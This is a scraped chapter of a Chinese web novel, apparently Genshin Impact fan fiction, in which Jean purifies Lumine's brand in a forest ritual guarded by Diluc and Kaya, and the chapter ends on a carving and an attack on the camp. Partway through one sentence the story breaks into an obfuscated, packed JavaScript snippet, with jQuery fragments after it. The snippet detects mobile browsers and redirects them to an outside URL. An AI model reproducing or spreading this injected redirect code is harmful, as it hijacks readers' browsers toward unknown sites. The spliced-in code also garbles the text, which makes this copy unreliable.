默认冷灰
24号文字
方正启体

22. 净化

作者:猫猫车本书字数:K更新时间:
    古恩希尔德家族的禁地,不在庄园内,也不在蒙德城。


    它在低语森林深处,一片被古老结界笼罩的、终年弥漫着淡薄雾气的林间空地。


    参天的冷杉树如同沉默的卫兵,树皮上刻着早已黯淡的家族符文。空地中央,是一座由灰白色岩石垒成的、低矮的圆形石坛,坛面光滑如镜,边缘蚀刻着复杂的星图与风之纹章。


    这里的时间仿佛流淌得比外界更慢。空气里只有树叶摩挲的沙沙声,和远处溪流永无止境的淙淙水响。气息干净得近乎贫瘠——没有Cake的诱惑,也没有寻常Fork的躁动,只有冷杉、苔藓、岩石和岁月沉淀下来的、沉重的寂静。


    荧站在石坛边缘,看着琴用一把银质的小刀,沿着石坛上的纹路,缓慢而精准地倒入一种散发着清凉苦味的银色粉末。粉末接触石坛的瞬间,亮起微弱的白光,沿着纹路流淌,逐渐点亮整个星图。


    “净化仪式将持续七天。”琴的声音在寂静中显得格外清晰,她没有抬头,专注于手中的工作,“每天黎明、正午、黄昏、子夜四个时辰,你需要坐在坛心,配合我诵念的符文,引导自身气息与坛内的净蚀之力共鸣,逐步冲刷烙印中的地脉污染。”


    她倒完最后一撮粉末,直起身,看向荧。晨光透过林间雾气,在她脸上投下斑驳的光影,让她看起来有些不真实。


    “过程会很枯燥,也可能伴随不适。但最重要的是——绝对的心神沉静。不能有强烈的情绪波动,不能回应任何外部气息干扰。”她的目光若有似无地扫过石坛外围,“所以,在仪式期间,我会在坛边护法。至于其他人……”


    她顿了顿。


    迪卢克站在石坛东侧,背靠着一棵需要两人合抱的冷杉。


    他换了一身便于活动的黑色劲装,巨剑插在身旁的泥土里,赤红的长发用皮绳束紧,整个人像一尊凝固的暗火雕像。


    从进入禁地起,他就没说过话,只是沉默地观察着环境,气息收敛到近乎不存在,但那股磐石般的、不容忽视的存在感,却比任何张扬的威慑都更沉重。


    凯亚在西侧,坐在一截倒伏的枯木上。他手里削着一根细长的树枝,冰蓝色的短刀在他指尖灵活翻转,木屑簌簌落下。他看起来是最放松的一个,甚至吹着不成调的口哨,但那只独眼时不时掠过的、针尖般的锐利视线,暴露了他的警觉。


    听到琴的话,凯亚削树枝的动作停了停,嘴角勾起。


    “琴团长的意思是,我们俩就是‘外部干扰源’,得离远点,乖乖当门神?”


    “是护卫。”琴纠正,语气平静,“警戒外围,确保没有魔物或其他不速之客打扰仪式。”


    “也包括防止我们互相干扰,对吧?”凯亚笑眯眯地补充。


    琴没有回答,默认了。


    迪卢克终于开口,声音低沉,“位置。”


    琴指向石坛南北两侧,距离石坛约十步远的两个点。


    “南侧视野开阔,便于观察林地。北侧靠近溪流,是可能的潜入路径。两位可以自行分配。”


    凯亚抢先起身,拍了拍身上的木屑。


    “那我选北边。我喜欢听水声。”他走到北侧点位,靠着另一棵树坐下,短刀在指尖转了个花,“放心,琴团长,我保证只‘听’,不‘做’什么。”


    迪卢克没说什么,径直走到南侧点位,抱臂站定,目光投向雾气弥漫的林地深处。


    琴看着两人就位,深吸一口气,转向荧。


    “开始吧。”


    荧依言走到石坛中央,盘膝坐下。石面冰凉,透过单薄的训练裤传来。她调整呼吸,试图让心神沉静下来。


    琴在她对面坐下,闭上双眼,双手结出一个古老的手印。她的嘴唇开始翕动,诵念起音节古怪、旋律低沉的符文。随着她的诵念,石坛上点亮的星图光芒渐盛,银白色的光晕从坛面升腾而起,形成一个半透明的光罩,将两人笼罩在内。


    光罩成型的瞬间,外界的声响——风声、水声、甚至鸟鸣——都变得遥远而模糊。一种奇异的、清凉的气息从石坛涌入荧的身体,像无数细小的冰针,缓缓刺向皮肤下的烙印纹路。


    烙印纹路立刻有了反应。


    暗金色的光芒微微亮起,纹路像受惊的藤蔓般蠕动,试图抵抗这股外来的、试图“净化”它的力量。一股熟悉的、闷在骨头里的灼痛再次泛起,但比之前轻微得多。


    荧咬牙忍住,按照琴事先教导的方法,尝试引导那股清凉气息,一点点冲刷灼痛的源头。


    时间在枯燥的重复中缓慢流逝。


    正午,第二次仪式。


    黄昏,第三次。


    每一次,清凉气息与烙印的对抗都如同微型的战争,在荧的体内无声地进行。疼痛时轻时重,汗水浸湿了她的后背,又被石坛的凉意和自身逐渐微弱的体温带走。


    她能感觉到,烙印的活性确实在被缓慢压制。纹路的光芒黯淡了些,蠕动也变缓了。但与此同时,另一种不适感悄然滋生——一种源于“匮乏”的空虚感。


    就像习惯了某种背景噪音,突然被置于绝对的寂静中,反而会感到不安。她的身体,尤其是胃里那团暗影,习惯了时刻警惕、对抗或渴望Cake的气息,此刻在这片被净化结界隔绝的“绝对洁净”环境里,竟产生了一种无所适从的焦躁。


    更微妙的是,迪卢克血液留在她体内的那股“余烬”般的暖意,在净蚀之力的冲刷下,并没有消失,反而像是被凸显了出来,成为这冰冷净化过程中,唯一一点持续散发热源的“异物”。


    它让她在对抗烙印疼痛时,偶尔会分神想起那滚烫醇厚的味道,想起吮吸时灭顶般的满足感。


    这种联想让她感到羞愧,却无法彻底驱散。


    夜幕降临,禁地陷入更深的黑暗。只有石坛散发着微弱的银光,勉强照亮坛心一小片区域。


    子夜,第四次仪式。


    琴的声音因持续诵念而有些沙哑,但依旧平稳。荧的精力已经接近极限,意识在冰冷的净化与烙印的隐痛中浮沉,几乎无法集中。


    就在这时,她忽然感觉到一丝极其微弱的、冰冷而甜腻的气息,像一根细丝,悄无声息地穿过净化结界的光罩,轻轻搔刮了一下她的感知边缘。


    是凯亚。


    他显然没有完全收敛气息,或许是故意的,或许是……试探。


    荧的呼吸乱了一瞬。


    胃里的暗影像闻到血腥味的鲨鱼,猛地苏醒,躁动起来。左胸的烙印纹路也随之轻轻一颤。


    琴的诵念声骤然停顿。


    她睁开眼睛,湖蓝色的瞳孔在坛光的映照下冷得像冰,直直看向北侧凯亚的方向。


    “凯亚队长。”她的声音不高,但每个字都像冰珠砸在地上,“收敛你的气息。”


    黑暗里传来凯亚懒洋洋的回应:“哎呀,抱歉抱歉,一时走神。这地方太安静了,安静得让人想找点乐子。”


    但他的气息确实收敛了回去。


    琴重新闭眼,继续诵念。但接下来的符文,似乎比之前更冷硬了几分。


    荧重新集中精神,将那一丝被打断的悸动压下去。但她的余光瞥见,南侧迪卢克的身影,在刚才那一瞬间,似乎微微侧头,朝凯亚的方向看了一眼。虽然很快转了回去,但那一瞥中蕴含的警告意味,几乎凝成实质。


    第一天的仪式,终于在压抑的紧绷感中结束。


    光罩散去,外界的声响和气息重新涌入。荧几乎虚脱,扶着石坛边缘才勉强站起。


    “回去休息。”琴也站起身,脸色有些苍白,但腰背依然挺直,“明天黎明继续。”


    临时营地设在禁地边缘,是三顶简易的帐篷。琴和荧共用一顶较大的,迪卢克和凯亚各一顶小的,呈三角分布,将琴和荧的帐篷围在中间。


    派蒙已经在帐篷里铺好了睡袋,热好了简单的汤食。荧喝着寡淡的蔬菜汤,感觉身体的力气在一点点恢复,但精神上的疲惫更深。


    帐篷外传来极低的说话声,是凯亚和迪卢克在交接守夜。


    “上半夜我来。”是迪卢克的声音。


    “行啊,那下半夜换我。”凯亚的语调依然轻松,“不过迪卢克老爷,你可别趁着月黑风高,偷偷给我们小可爱加餐啊。”


    短暂的沉默。


    然后迪卢克冰冷的声音响起,“管好你自己。”


    脚步声远去,大概是凯亚回自己帐篷了。


    荧放下汤碗,躺在睡袋里。帐篷外,迪卢克守夜的脚步声很轻,但规律,像某种沉稳的心跳。远处溪流的水声,凯亚帐篷里偶尔传来的、几不可闻的金属摩擦声,大概又在玩他的刀,还有身边琴平缓而克制的呼吸声。


    三种不同的存在感,以她为中心,构筑成一个无形而坚固的三角。


    她左胸的烙印,在寂静中微微发烫。那点源于迪卢克血液的“余烬”暖意,在这冰冷疲惫的夜里,显得格外清晰。


    第二天,重复。


    第三天,依然如此。


    仪式带来的净化效果是缓慢而确切的。荧手臂和胸口的纹路颜色更淡了,几乎变成浅金色,蠕动近乎停止。她对Cake气息的本能渴望,似乎也因持续处于“洁净”环境而变得迟钝了些。


    但代价是精神的极度疲乏,和一种越来越明显的、被“抽空”的感觉。仿佛有什么支撑着她的、属于“荧”这个存在本身的东西,也在被一同净化、稀释。


    第三天黄昏仪式结束后,她叫住了准备离开石坛的琴。


    “琴团长。”


    琴停下脚步,回头看她。


    “净化……会不会把‘我’也净没了?”荧问,声音有些干涩。


    琴愣了一下,随即明白了她的意思。她走回石坛边,在荧对面坐下,沉默了片刻。


    “古恩希尔德的净化秘法,目标始终是‘异质’与‘污染’。”她缓缓开口,“烙印是地脉强加于你的异质,Fork对Cake的欲望,从社会规训角度看,也是需要控制的‘异质’。秘法会放大你自身意识中对这些‘异质’的排斥,引导你的力量去冲刷它们。”


    她看着荧的眼睛。


    “所以,如果你感到‘自我’在被削弱,那或许是因为……在你内心深处,你也将‘Fork的本能’和‘烙印的联系’,视作了‘非我’的一部分,想要排斥、剥离。”


    这个认知让荧心头一震。


    “可如果剥离了这些……我还剩下什么?”她喃喃道。


    琴没有回答。


    这个问题,或许她自己也在寻找答案。


    夜幕降临,又是守夜时分。


    今晚轮到凯亚值全夜——迪卢克白天在林地外围发现了一些可疑的痕迹,决定趁夜色去更远处侦查。


    荧躺在睡袋里,睡不着。连日的净化让她精神异常清醒,却又异常疲惫。帐篷外,凯亚守夜的脚步声比迪卢克更轻,更飘忽,偶尔会完全消失一阵,然后又在不远处响起。


    忽然,帐篷的帘子被极轻地掀开一角。


    荧瞬间警惕,手摸向枕边的训练短剑——那是琴允许她带进禁地的唯一武器。


    “嘘,是我。”凯亚的声音压得很低,带着点笑意。他半个身子探进来,独眼在


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122949|195980||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    黑暗里泛着微光。


    “你干什么?”荧握紧短剑。


    “别紧张,给你送点‘补给’。”凯亚扔过来一个小布包。


    荧接住,打开,里面是几块包装精致的枣椰蜜糖,散发着清甜诱人的香气——是迪卢克酒庄的特产。


    “凯亚队长,”琴的声音从旁边的睡袋传来,她显然也没睡,“我说过,仪式期间,不能摄入任何可能刺激本能的东西。”


    “几块糖而已,琴团长,别这么不近人情。”凯亚靠在帐篷口,声音懒洋洋的,“小可爱这几天吃的东西比派蒙还素,脸都尖了。补充点糖分,保持体力,也是为了更好地配合你的净化嘛。”


    他顿了顿,语气里带上点戏谑。


    “还是说……你怕她尝了甜头,又会想起别的更‘带劲’的味道?”


    帐篷里的空气瞬间降至冰点。


    荧能感觉到琴的气息陡然变得锋利,尽管她人还躺在睡袋里。


    “出去。”琴的声音冷得像西风雪山终年不化的冰。


    凯亚低笑一声,没再说什么,放下帘子,脚步声渐远。


    荧拿着那包糖,像拿着烫手山芋。甜腻的香气丝丝缕缕钻进鼻腔,胃里的暗影被勾起了些许涟漪。她犹豫了一下,最终还是把糖包塞到了睡袋底下。


    不能碰。


    至少现在不能。


    后半夜,荧在半梦半醒间,忽然感到左胸的烙印传来一阵奇异的悸动。


    不是疼痛,也不是灼热,而是一种共鸣。仿佛有什么同源的东西,在禁地深处苏醒了,正在呼唤她。


    她悄悄坐起身,看了一眼身旁呼吸平稳的琴,轻轻掀开睡袋,拿起短剑,蹑手蹑脚地走出帐篷。


    月光被林冠切割得支离破碎,禁地笼罩在一片朦胧的灰蓝之中。石坛在远处散发着微弱的银光,像一座沉默的墓碑。


    荧循着那股共鸣感的指引,走向禁地深处——不是石坛方向,而是那片终年不散的雾气更浓的区域。


    脚下是厚厚的苔藓和落叶,踩上去悄无声息。越往里走,雾气越浓,树木的形状也变得扭曲怪异,树皮上的古老符文比外围更加密集、清晰。


    最后,她停在了一面爬满藤蔓的岩壁前。


    共鸣感就是从这里传来的。


    她伸手,拨开厚厚的藤蔓。岩壁上,赫然刻着一幅巨大的、线条古朴的浮雕。


    浮雕的主体,是一棵枝桠伸展、巨大无比的树。树下,跪伏着无数身影,姿态虔诚。树的根部,深深扎入大地,而根须的末端……连接着几个模糊的、像是门扉的轮廓。


    而在浮雕的一个角落,刻着一个单独的、稍小的人像。那个人像的轮廓,有着独特的、半边披散的发型,和一只格外清晰、仿佛在凝视远方的……


    独眼。


    荧的呼吸骤然停止。


    这个发型,这只眼睛……


    “找到你了。”


    一个声音,几乎贴着她的耳后响起。


    荧浑身一僵,猛地转身,短剑横在胸前。


    凯亚站在她身后一步之遥的地方。脸上没有了平时那种玩世不恭的笑,也没有了冰冷或戏谑。他的脸色在月光和雾气中,苍白得可怕。那只独眼死死盯着岩壁上的浮雕,尤其是那个独眼人像,瞳孔深处翻涌着荧从未见过的、近乎骇然的震愕,以及……某种深切的痛苦。


    “凯亚,你……”荧话未说完。


    凯亚忽然伸出手,不是对她,而是颤抖着抚向岩壁上那个独眼人像。他的指尖在即将触碰到岩壁时停住,像怕惊扰什么,又像怕被什么灼伤。


    “原来……”他低声说,声音嘶哑得几乎破碎,“原来这里也有……‘罪证’。”


    他猛地转头看向荧,独眼里充满了血丝。


    “你看到了什么?”他问,声音紧绷,“除了这棵树,这些人,你还看到什么?听到什么?”


    荧被他眼中的情绪惊到,下意识后退半步。


    “我……只感觉到共鸣。烙印在动。然后看到了这个……”她指了指浮雕,“还有……那个像你的人。”


    “像我的人?”凯亚扯了扯嘴角,那笑容比哭还难看,“不,小可爱。那不是像我的人。”


    他逼近一步,气息不受控制地泄露出来,不再是平日的冰甜引诱,而是一种混乱的、夹杂着冰冷、苦涩和某种狂躁的波动。


    “那是我的——”


    他的话戛然而止。


    因为岩壁上的浮雕,在月光和荧身上烙印微光的双重映照下,那个独眼人像的眼睛,忽然亮起了极淡的、冰蓝色的微光。


    与此同时,荧左胸的烙印猛地爆发出灼热的金红色光芒!


    两股光芒在岩壁前交汇。


    浮雕上,那棵巨树的根部,连接着的模糊门扉轮廓,瞬间变得清晰——


    那是一扇紧闭的、布满裂痕的、非金非石的巨门。门缝里,渗出粘稠的、暗金色的光。


    一个宏大、苍凉、混合着无尽悲伤与期盼的叹息声,仿佛从地底深处,也从久远的时光彼岸,轰然撞进荧的意识!


    “门……将启……”


    “钥匙……已至……”


    “归……来……”


    “砰——!”


    一声巨响从营地方向传来,伴随着树木断裂的噪音和一声短促的、属于派蒙的惊叫!


    凯亚和荧同时回头。


    只见营地所在的方向,火光冲天!


    迪卢克侦查归来的方向,也传来了激烈的元素碰撞声和魔物的嘶吼!


    禁地的宁静,被彻底打破了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)